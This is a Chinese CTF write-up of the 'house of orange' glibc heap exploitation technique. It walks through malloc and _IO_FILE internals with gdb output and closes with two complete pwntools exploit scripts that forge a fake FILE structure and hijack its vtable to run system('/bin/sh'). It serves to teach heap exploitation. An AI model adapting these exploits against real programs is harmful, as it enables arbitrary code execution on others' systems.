一些笔记而已。
house of orange wp 程序保护全开
1 2 3 4 5 6 Arch:     amd64-64-little RELRO:    Full RELRO Stack:    Canary found NX:       NX enabled PIE:      PIE enabled FORTIFY:  Enabled 
程序流程很简单,有三个选项:build,see,upgrade。
===build===
1 2 3 4 5 6 7 8 9 struct house{     8bytes struct orange * p;     8bytes char * name; } struct orange{     4bytes int price;     4bytes int color; } 
其中name的长度可以自定义,但最长不超过0x1000。
其中bss上有一个指针,表示当前的house,每次build都会被更新成最新的那个,也就是说后面的see,upgrade操作都是操作这个指针指向的结构体的,即只能操作最新build的那个house。
===see===
===upgrade===
===思路===free_hook了。但此题没有提供free函数,并且受制于次数,无法实现这种利用。
house-of-orange :
使用条件:unsorted bin attack
难点1:在没有提供free的情况下制造unsorted bin。_IO_list_all到main_arena中top的位置。
_int_malloc->sysmalloc->_int_free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #_int_malloc() ...     use_top:              victim = av->top;        size = chunksize  (victim);        if  ((unsigned  long ) (size) >= (unsigned  long ) (nb + MINSIZE))          {           remainder_size = size - nb;           remainder = chunk_at_offset  (victim, nb);           av->top = remainder;           set_head  (victim, nb | PREV_INUSE |                     (av != &main_arena ? NON_MAIN_ARENA : 0 ));           set_head  (remainder, remainder_size | PREV_INUSE);           check_malloced_chunk  (av, victim, nb);           void  *p = chunk2mem  (victim);           alloc_perturb  (p, bytes);           return  p;         }              else  if  (have_fastchunks  (av))          {           malloc_consolidate  (av);                      if  (in_smallbin_range  (nb))             idx = smallbin_index  (nb);           else              idx = largebin_index  (nb);         }              else           {           void  *p = sysmalloc  (nb, av);            if  (p != NULL )             alloc_perturb  (p, bytes);           return  p;         } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 #sysmalloc() #ifndef  DEFAULT_MMAP_THRESHOLD_MIN #define  DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)  #endif  #ifndef  DEFAULT_MMAP_THRESHOLD #define  DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN #endif  static  struct  malloc_par  mp_ ={   .top_pad = DEFAULT_TOP_PAD,   .n_mmaps_max = DEFAULT_MMAP_MAX,   .mmap_threshold = DEFAULT_MMAP_THRESHOLD,    .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define  NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))   .arena_test = NARENAS_FROM_NCORES  (1 ) }; ...   bool  tried_mmap = false ;      if  (av == NULL        || ((unsigned  long ) (nb) >= (unsigned  long ) (mp_.mmap_threshold) 	  && (mp_.n_mmaps < mp_.n_mmaps_max)))      {        char  *mm;                try_mmap:               return  chunk2mem  (p);             }         }     }      if  (av == NULL )      return  0 ;      old_top = av->top;    old_size = chunksize  (old_top);   old_end = (char  *) (chunk_at_offset  (old_top, old_size));   brk = snd_brk = (char  *) (MORECORE_FAILURE);          assert  ((old_top == initial_top  (av) && old_size == 0 ) ||           ((unsigned  long ) (old_size) >= MINSIZE &&            prev_inuse  (old_top) &&            ((unsigned  long ) old_end & (pagesize - 1 )) == 0 ));      assert  ((unsigned  long ) (old_size) < (unsigned  long ) (nb + MINSIZE));   if  (av != &main_arena)     {              }   else {               if  (old_size != 0 )                     {                                              old_size = (old_size - 4  * SIZE_SZ) & ~MALLOC_ALIGN_MASK;                       set_head  (old_top, old_size | PREV_INUSE);                                              chunk_at_offset  (old_top, old_size)->size =                         (2  * SIZE_SZ) | PREV_INUSE;                       chunk_at_offset  (old_top, old_size + 2  * SIZE_SZ)->size =                         (2  * SIZE_SZ) | PREV_INUSE;                                              if  (old_size >= MINSIZE)                         {                           _int_free (av, old_top, 1 );                         }                     }        } 
通过对上面代码的整理观察,我们得出以下结论:
1 2 3 4 5 目标:在没有free的情况下产生unsorted bin 条件:能够修改top chunk的size 做法: 1.覆盖top chunk的size,使&top+size为pagealigned,一般来说即size = size&0xfff; 2.申请一个大于size且小于0x20000的chunk,此时top会变成unsorted bin 
利用这个unsortedbin,我们先申请一个large_chunk来泄露libc基址和heap段地址。
泄露libc基址很简单,通过fd和bk就可以泄露,写8字节内容,bk就泄漏出来了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #_int_malloc() ...           if  (in_smallbin_range  (size))             {               victim_index = smallbin_index  (size);               bck = bin_at  (av, victim_index);               fwd = bck->fd;             }           else              {               victim_index = largebin_index  (size);               bck = bin_at  (av, victim_index);               fwd = bck->fd;                              if  (fwd != bck)                 {                                      size |= PREV_INUSE;                                      assert  ((bck->bk->size & NON_MAIN_ARENA) == 0 );                   if  ((unsigned  long ) (size) < (unsigned  long ) (bck->bk->size))                     {                       fwd = bck;                       bck = bck->bk;                       victim->fd_nextsize = fwd->fd;                       victim->bk_nextsize = fwd->fd->bk_nextsize;                       fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;                     }                   else                      {                       assert  ((fwd->size & NON_MAIN_ARENA) == 0 );                       while  ((unsigned  long ) size < fwd->size)                         {                           fwd = fwd->fd_nextsize;                           assert  ((fwd->size & NON_MAIN_ARENA) == 0 );                         }                       if  ((unsigned  long ) size == (unsigned  long ) fwd->size)                                                  fwd = fwd->fd;                       else                          {                           victim->fd_nextsize = fwd;                           victim->bk_nextsize = fwd->bk_nextsize;                           fwd->bk_nextsize = victim;                           victim->bk_nextsize->fd_nextsize = victim;                         }                       bck = fwd->bk;                     }                 }               else                  victim->fd_nextsize = victim->bk_nextsize = victim;             } ... 
因此只要写入0x10的字节就可以leak出写在fd_nextsize位置的heap的地址了。
接着是利用unsorted bin attack来任意地址写(此处我们写_IO_list_all)。
在_int_malloc中有这样一段代码,表示将一个unsorted bin摘下来。
1 2 3 4 5 3685 	          bck = victim->bk;... 3728 	          3729 	          unsorted_chunks  (av)->bk = bck;3730 	          bck->fd = unsorted_chunks  (av);
如果我们控制了bk下的值,即bck,那么有*(bck+0x10) = unsorted_chunks (av);即可将unsorted_chunks (av)写到任意位置,也就是将main_arena结构体中top对应的地址写到任意位置。
main_arena:
1 2 3 4 5 6 static  struct  malloc_state  main_arena ={   .mutex = _LIBC_LOCK_INITIALIZER,   .next = &main_arena,   .attached_threads = 1  }; 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 struct  malloc_state {      mutex_t  mutex;      int  flags;      mfastbinptr fastbinsY[NFASTBINS];      mchunkptr top;      mchunkptr last_remainder;      mchunkptr bins[NBINS * 2  - 2 ];      unsigned  int  binmap[BINMAPSIZE];      struct  malloc_state  *next;      struct  malloc_state  *next_free;      INTERNAL_SIZE_T attached_threads;      INTERNAL_SIZE_T system_mem;   INTERNAL_SIZE_T max_system_mem; }; struct  malloc_chunk  {  INTERNAL_SIZE_T      prev_size;     INTERNAL_SIZE_T      size;          struct  malloc_chunk * fd;            struct  malloc_chunk * bk;      struct  malloc_chunk * fd_nextsize;    struct  malloc_chunk * bk_nextsize; }; typedef  struct  malloc_chunk  *mfastbinptr;typedef  struct  malloc_chunk * mchunkptr;
关于_IO_list_all:
_IO_list_all是一个_IO_FILE_plus结构体的指针:
1 extern  struct  _IO_FILE_plus  *_IO_list_all;
1 2 3 4 5 struct  _IO_FILE_plus {   _IO_FILE file;   const  struct  _IO_jump_t  *vtable; }; 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 struct  _IO_FILE  {  int  _flags;		 #define  _IO_file_flags _flags         char * _IO_read_ptr;	   char * _IO_read_end;	   char * _IO_read_base;	   char * _IO_write_base;	   char * _IO_write_ptr;	   char * _IO_write_end;	   char * _IO_buf_base;	   char * _IO_buf_end;	      char  *_IO_save_base;    char  *_IO_backup_base;     char  *_IO_save_end;    struct  _IO_marker  *_markers;   struct  _IO_FILE  *_chain;    int  _fileno; #if  0   int  _blksize; #else    int  _flags2; #endif    _IO_off_t _old_offset;  #define  __HAVE_COLUMN       unsigned  short  _cur_column;   signed  char  _vtable_offset;   char  _shortbuf[1 ];      _IO_lock_t *_lock; #ifdef  _IO_USE_OLD_IO_FILE  }; struct  _IO_FILE_complete {   struct  _IO_FILE  _file; #endif   #if  defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001    _IO_off64_t _offset; # if  defined _LIBC || defined _GLIBCPP_USE_WCHAR_T      struct  _IO_codecvt  *_codecvt;   struct  _IO_wide_data  *_wide_data;   struct  _IO_FILE  *_freeres_list;   void  *_freeres_buf; # else    void  *__pad1;   void  *__pad2;   void  *__pad3;   void  *__pad4; # endif    size_t  __pad5;   int  _mode;      char  _unused2[15  * sizeof  (int ) - 4  * sizeof  (void  *) - sizeof  (size_t )]; #endif  }; 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct  _IO_jump_t {     JUMP_FIELD (size_t , __dummy);     JUMP_FIELD (size_t , __dummy2);     JUMP_FIELD (_IO_finish_t, __finish);     JUMP_FIELD (_IO_overflow_t, __overflow);     JUMP_FIELD (_IO_underflow_t, __underflow);     JUMP_FIELD (_IO_underflow_t, __uflow);     JUMP_FIELD (_IO_pbackfail_t, __pbackfail);          JUMP_FIELD (_IO_xsputn_t, __xsputn);     JUMP_FIELD (_IO_xsgetn_t, __xsgetn);     JUMP_FIELD (_IO_seekoff_t, __seekoff);     JUMP_FIELD (_IO_seekpos_t, __seekpos);     JUMP_FIELD (_IO_setbuf_t, __setbuf);     JUMP_FIELD (_IO_sync_t, __sync);     JUMP_FIELD (_IO_doallocate_t, __doallocate);     JUMP_FIELD (_IO_read_t, __read);     JUMP_FIELD (_IO_write_t, __write);     JUMP_FIELD (_IO_seek_t, __seek);     JUMP_FIELD (_IO_close_t, __close);     JUMP_FIELD (_IO_stat_t, __stat);     JUMP_FIELD (_IO_showmanyc_t, __showmanyc);     JUMP_FIELD (_IO_imbue_t, __imbue); #if  0     get_column;     set_column; #endif  }; 
顺便一提,如何用gdb打印出_chain的偏移:p &((struct _IO_FILE*)0)->_chain
1 2 pwndbg> p &((struct _IO_FILE*)0)->_chain $3 = (struct _IO_FILE **) 0x68 
考虑有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include  <stdio.h>  #include  <stdlib.h>  int  main (void ) 	FILE *fp = fopen ("./exp.py" ,"r" ); 	if (!fp){ 		printf ("something error!\n" ); 		exit (0 ); 	} 	printf ("hello world!\n" ); 	fclose (fp); 	return  0 ; } 
fp就是一个FILE结构体,而FILE其实就是_IO_FILE:
1 typedef  struct  _IO_FILE  FILE;
实际去调试的话,可以发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 pwndbg> p _IO_list_all $11  = (struct  _IO_FILE_plus *) 0x602010  pwndbg> p *_IO_list_all $12  = {   file = {     _flags = -72539000 ,      _IO_read_ptr = 0x0 ,      _IO_read_end = 0x0 ,      _IO_read_base = 0x0 ,      _IO_write_base = 0x0 ,      _IO_write_ptr = 0x0 ,      _IO_write_end = 0x0 ,      _IO_buf_base = 0x0 ,      _IO_buf_end = 0x0 ,      _IO_save_base = 0x0 ,      _IO_backup_base = 0x0 ,      _IO_save_end = 0x0 ,      _markers = 0x0 ,      _chain = 0x7ffff7dd2540  <_IO_2_1_stderr_>,      _fileno = 3 ,      _flags2 = 0 ,      _old_offset = 0 ,      _cur_column = 0 ,      _vtable_offset = 0  '\000' ,      _shortbuf = "" ,      _lock = 0x6020f0 ,      _offset = -1 ,      _codecvt = 0x0 ,      _wide_data = 0x602100 ,      _freeres_list = 0x0 ,      _freeres_buf = 0x0 ,      __pad5 = 0 ,      _mode = 0 ,      _unused2 = '\000'  <repeats 19  times>   },    vtable = 0x7ffff7dd06e0  <_IO_file_jumps> } pwndbg> p *((struct  _IO_jump_t *)0x7ffff7dd06e0 ) $14  = {   __dummy = 0 ,    __dummy2 = 0 ,    __finish = 0x7ffff7a869c0  <_IO_new_file_finish>,    __overflow = 0x7ffff7a87730  <_IO_new_file_overflow>,    __underflow = 0x7ffff7a874a0  <_IO_new_file_underflow>,    __uflow = 0x7ffff7a88600  <__GI__IO_default_uflow>,    __pbackfail = 0x7ffff7a89980  <__GI__IO_default_pbackfail>,    __xsputn = 0x7ffff7a861e0  <_IO_new_file_xsputn>,    __xsgetn = 0x7ffff7a85ec0  <__GI__IO_file_xsgetn>,    __seekoff = 0x7ffff7a854c0  <_IO_new_file_seekoff>,    __seekpos = 0x7ffff7a88a00  <_IO_default_seekpos>,    __setbuf = 0x7ffff7a85430  <_IO_new_file_setbuf>,    __sync = 0x7ffff7a85370  <_IO_new_file_sync>,    __doallocate = 0x7ffff7a7a180  <__GI__IO_file_doallocate>,    __read = 0x7ffff7a861a0  <__GI__IO_file_read>,    __write = 0x7ffff7a85b70  <_IO_new_file_write>,    __seek = 0x7ffff7a85970  <__GI__IO_file_seek>,    __close = 0x7ffff7a85340  <__GI__IO_file_close>,    __stat = 0x7ffff7a85b60  <__GI__IO_file_stat>,    __showmanyc = 0x7ffff7a89af0  <_IO_default_showmanyc>,    __imbue = 0x7ffff7a89b00  <_IO_default_imbue> } 
如果我们在  __close = 0x7ffff7a85340 <__GI__IO_file_close>上下断,调用fclose的时候就会断下
1 2 3 4 5 6  ► f 0     7ffff7a85340 _IO_file_close    f 1     7ffff7a86960 _IO_file_close_it+288    f 2     7ffff7a7a3ef fclose+399    f 3           400642 main+76    f 4     7ffff7a2d830 __libc_start_main+240 Breakpoint *0x7ffff7a85340 
如果能构造_IO_jump_t,最后就能控制ip。
话题回到house of orange。这里我们是怎么让程序跳到_IO_jump_t上去的呢?又是跳到那个函数上?
malloc_printerr->__libc_message->abort->fflush(_IO_flush_all_lockp)->vtable->_IO_OVERFLOW(hijack->system)
由于unsortedbin attack的缘故,后面我们在malloc的时候程序会出错,调用malloc_printerr函数,如下
1 2 3 4 if  (__builtin_expect (victim->size <= 2  * SIZE_SZ, 0 )    || __builtin_expect (victim->size > av->system_mem, 0 ))   malloc_printerr  (check_action, "malloc(): memory corruption" ,                    chunk2mem  (victim), av); 
而malloc_printerr则又调用了__libc_message。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 static  void malloc_printerr  (int  action, const  char  *str, void  *ptr, mstate ar_ptr)      if  (ar_ptr)     set_arena_corrupt  (ar_ptr);   if  ((action & 5 ) == 5 )     __libc_message (action & 2 , "%s\n" , str);   else  if  (action & 1 )     {       char  buf[2  * sizeof  (uintptr_t ) + 1 ];       buf[sizeof  (buf) - 1 ] = '\0' ;       char  *cp = _itoa_word ((uintptr_t ) ptr, &buf[sizeof  (buf) - 1 ], 16 , 0 );       while  (cp > buf)         *--cp = '0' ;       __libc_message (action & 2 , "*** Error in `%s': %s: 0x%s ***\n" ,                       __libc_argv[0 ] ? : "<unknown>" , str, cp);     }   else  if  (action & 2 )     abort  (); } 
而__libc_message则又调用了abort。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void __libc_message (int  do_abort, const  char  *fmt, ...) { ......   if  (do_abort)     {       BEFORE_ABORT  (do_abort, written, fd);              abort  ();     } } 
而abort则又调用了fflush。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void abort  (void ) ......      if  (stage == 1 )     {       ++stage;       fflush  (NULL );     }      ...... 
而fflush其实就是_IO_flush_all_lockp。
1 #define  fflush(s) _IO_flush_all_lockp (0) 
而_IO_flush_all_lockp中用到了_IO_list_all,并最终通过vtable调用了_IO_OVERFLOW。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int _IO_flush_all_lockp (int  do_lock) { ......   last_stamp = _IO_list_all_stamp;   fp = (_IO_FILE *) _IO_list_all;    while  (fp != NULL )     { ......       if  (((fp->_mode <= 0  && fp->_IO_write_ptr > fp->_IO_write_base) #if  defined _LIBC || defined _GLIBCPP_USE_WCHAR_T 	   || (_IO_vtable_offset (fp) == 0  	       && fp->_mode > 0  && (fp->_wide_data->_IO_write_ptr 				    > fp->_wide_data->_IO_write_base)) #endif  	   ) 	  && _IO_OVERFLOW (fp, EOF) == EOF) 	result = EOF;       if  (do_lock) 	_IO_funlockfile (fp);       run_fp = NULL ;       if  (last_stamp != _IO_list_all_stamp) 	{ 	   	  fp = (_IO_FILE *) _IO_list_all; 	  last_stamp = _IO_list_all_stamp; 	}       else  	fp = fp->_chain;     } ...... } 
由于逻辑短路原则,想要调用后面的_IO_OVERFLOW (fp, EOF),前面的条件必须满足,即:
1 2 3 4 5 6 1.fp->_mode <= 0 2.fp->_IO_write_ptr > fp->_IO_write_base 或 1._IO_vtable_offset (fp) == 0 2.fp->_mode > 0 3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 
满足任意一种case都行(我都成功了)。
如果选上面,我们就需要构造mode,_IO_write_ptr和_IO_write_base。虽然构造的东西比下面多,但是都是简单的数值比较,比较容易构造。
如果选下面(orange的当时的做法),第一条我们难以构造,因为fp已经没法改动了;第三条需要构造_wide_data为一个满足条件的指针,比如将wide_data的IO_wirte_ptr指向read_end就可以了。*(_wide_data+0x20) > *(_wide_data+0x18)即read_end > read_ptr。
注:_wide_data对应的结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct  _IO_wide_data {   wchar_t  *_IO_read_ptr;	   wchar_t  *_IO_read_end;	   wchar_t  *_IO_read_base;	   wchar_t  *_IO_write_base;	   wchar_t  *_IO_write_ptr;	   wchar_t  *_IO_write_end;	   wchar_t  *_IO_buf_base;	   wchar_t  *_IO_buf_end;		      wchar_t  *_IO_save_base;	   wchar_t  *_IO_backup_base;	   wchar_t  *_IO_save_end;	   __mbstate_t  _IO_state;   __mbstate_t  _IO_last_state;   struct  _IO_codecvt  _codecvt;   wchar_t  _shortbuf[1 ];   const  struct  _IO_jump_t  *_wide_vtable; }; 
但是,我们现在写入_IO_list_all的地址在main_arena上,上面一堆的条件我们都无法bypass,虚表也无从构造,所以要让他通过fp = fp->_chain找到下一个我们能布置的_IO_FILE结构体。而_chain在结构体中的相对偏移为0x68。而写入_IO_list_all的main_arena的相对偏移为0x68的位置为smallbin 0x60的bk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 main_arena: ...      mchunkptr bins[NBINS * 2  - 2 ]; ... #define  NBINS             128 #define  NSMALLBINS         64 #define  SMALLBIN_WIDTH    MALLOC_ALIGNMENT #define  SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ) #define  MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)   +0x00  [       top        |  last_remainder   ] +0x10  [ unsorted bin fd  |  unsorted bin bk  ] +0x20  [ smallbin 0x20  fd | smallbin 0x20  bk  ] +0x30  [ smallbin 0x30  fd | smallbin 0x30  bk  ] +0x40  [ smallbin 0x40  fd | smallbin 0x40  bk  ] +0x50  [ smallbin 0x50  fd | smallbin 0x50  bk  ] +0x60  [ smallbin 0x60  fd | smallbin 0x60  bk  ]  
注:这图其实画错了,bin2处填的其实不是&bin2,而是&bin1。这是因为这样能正好对应chunk结构的fd和bk。如下为实际调试时看到的结果。
1 2 3 4 5 6 7 8 9 10 pwndbg> hex 0x7fe1038d1b78  0x100  +0000  0x7fe1038d1b78   10  b0 cd 31   ab 55  00  00   f0 94  cb 31   ab 55  00  00   │...1 │.U..│...1 │.U..│ +0010  0x7fe1038d1b88   f0 94  cb 31   ab 55  00  00   10  25  8 d 03   e1 7f  00  00   │...1 │.U..│.%..│....│ +0020  0x7fe1038d1b98   88  1b  8 d 03   e1 7f  00  00   88  1b  8 d 03   e1 7f  00  00   │....│....│....│....│ +0030  0x7fe1038d1ba8   98  1b  8 d 03   e1 7f  00  00   98  1b  8 d 03   e1 7f  00  00   │....│....│....│....│ +0040  0x7fe1038d1bb8   a8 1b  8 d 03   e1 7f  00  00   a8 1b  8 d 03   e1 7f  00  00   │....│....│....│....│ +0050  0x7fe1038d1bc8   b8 1b  8 d 03   e1 7f  00  00   b8 1b  8 d 03   e1 7f  00  00   │....│....│....│....│ +0060  0x7fe1038d1bd8   f0 94  cb 31   ab 55  00  00   f0 94  cb 31   ab 55  00  00   │...1 │.U..│...1 │.U..│ +0070  0x7fe1038d1be8   d8 1b  8 d 03   e1 7f  00  00   d8 1b  8 d 03   e1 7f  00  00   │....│....│....│....│ +0080  0x7fe1038d1bf8   e8 1b  8 d 03   e1 7f  00  00   e8 1b  8 d 03   e1 7f  00  00   │....│....│....│....│ 
所以我们总结一下,只要我们通过unsorted bin attack写入了_IO_list_all,并且构造unsorted bin的size为0x61,且将这个bin构造成一个_IO_FILE的结构体,之后在通过一次malloc,系统会将这个bin放入相应的smallbin 0x60,即构造好了_chain,之后由于unsorted bin attack留下的错误,系统调用malloc_printerr去打印错误信息,并最后经过一系列函数使用了_IO_list_all,通过_chain找到了我们在堆上布置好的_IO_FILE的结构体,通过一系列检测后最终调用我们的虚表函数,即system。
下面是exp:
bypass方法一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process('./houseoforange' ) 	bin  = ELF('./houseoforange' ) 	libc = ELF('./libc_local.so' ) else :	pass  def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  build (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("1" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) def  see ():	cn.recvuntil(":" ) 	cn.sendline("2" ) def  upgrade (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("3" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x3c4b20  success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) upgrade(0x400 ,'d' *16 ,1 ,1 ) see() cn.recvuntil('d' *16 ) d = cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ) heap_base=u64(d)-0xc0  success('heap_base: ' +hex (heap_base)) pay='e' *0x400  pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) fake_file='/bin/sh\x00' +p64(0x61 )  fake_file+=p64(0xdeadbeef )+p64(_IO_list_all-0x10 )  fake_file+=p64(0 )+p64(1 )  fake_file=fake_file.ljust(0xc0 ,'\x00' ) fake_file+=p64(0 )  pay+=fake_file pay += p64(0 ) pay += p64(0 ) pay += p64(heap_base+0x5d0 ) pay += p64(0 )*3   pay += p64(system) upgrade(0x800 ,pay,1 ,1 ) cn.sendline('1' ) cn.interactive() 
bypass方法二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process('./houseoforange' ) 	bin  = ELF('./houseoforange' ) 	libc = ELF('./libc_local.so' ) else :	pass  def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  build (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("1" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) def  see ():	cn.recvuntil(":" ) 	cn.sendline("2" ) def  upgrade (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("3" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x3c4b20  success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) upgrade(0x400 ,'d' *16 ,1 ,1 ) see() cn.recvuntil('d' *16 ) d = cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ) heap_base=u64(d)-0xc0  success('heap_base: ' +hex (heap_base)) pay='e' *0x400  pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) fake_file='/bin/sh\x00' +p64(0x61 )  fake_file+=p64(0xdeadbeef )+p64(_IO_list_all-0x10 )  fake_file=fake_file.ljust(0xa0 ,'\x00' ) fake_file+=p64(heap_base+0x4e0 )  fake_file=fake_file.ljust(0xc0 ,'\x00' ) fake_file+=p64(1 ) pay+=fake_file pay += p64(0 ) pay += p64(0 ) pay += p64(heap_base+0x5d0 ) pay += p64(0 )*3   pay += p64(system) upgrade(0x800 ,pay,1 ,1 ) cn.sendline('1' ) cn.interactive() 
此外还有一些细节的问题。
1 .0x60的smallbin是如何产生的?
在正常理解中,free一个小于0x80的chunk(64位)时,这个chunk会被加入fastbin。所以直接通过free是无法产生0x60的smallbin的。
大致有两种方法。
1.考虑如下代码
1 2 3 4 5 6 7 8 9 10 11 #include  <stdio.h>  #include  <stdlib.h>  int  main (void ) 	void  *p = malloc (0x80 ); 	malloc (0x10 ); 	free (p); 	malloc (0x20 ); 	malloc (0x60 ); 	return  0 ; } 
2.考虑如下代码
1 2 3 4 5 6 7 8 9 10 #include  <stdio.h>  #include  <stdlib.h>  int  main (void ) 	void  *p = malloc (0x50 ); 	malloc (0x10 ); 	free (p); 	malloc (0x3f0 ); 	return  0 ; } 
这个代码在调试时你会发现,通过malloc一个large chunk(大于0x3ff),fastbin会变成smallbin。
具体的代码是这样的。
malloc->_int_malloc->malloc_consolidate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static  void  *_int_malloc (mstate av, size_t  bytes) {     ......      if  (in_smallbin_range  (nb))     {         ......     }      else       {       idx = largebin_index  (nb);       if  (have_fastchunks  (av))         malloc_consolidate  (av);     } 
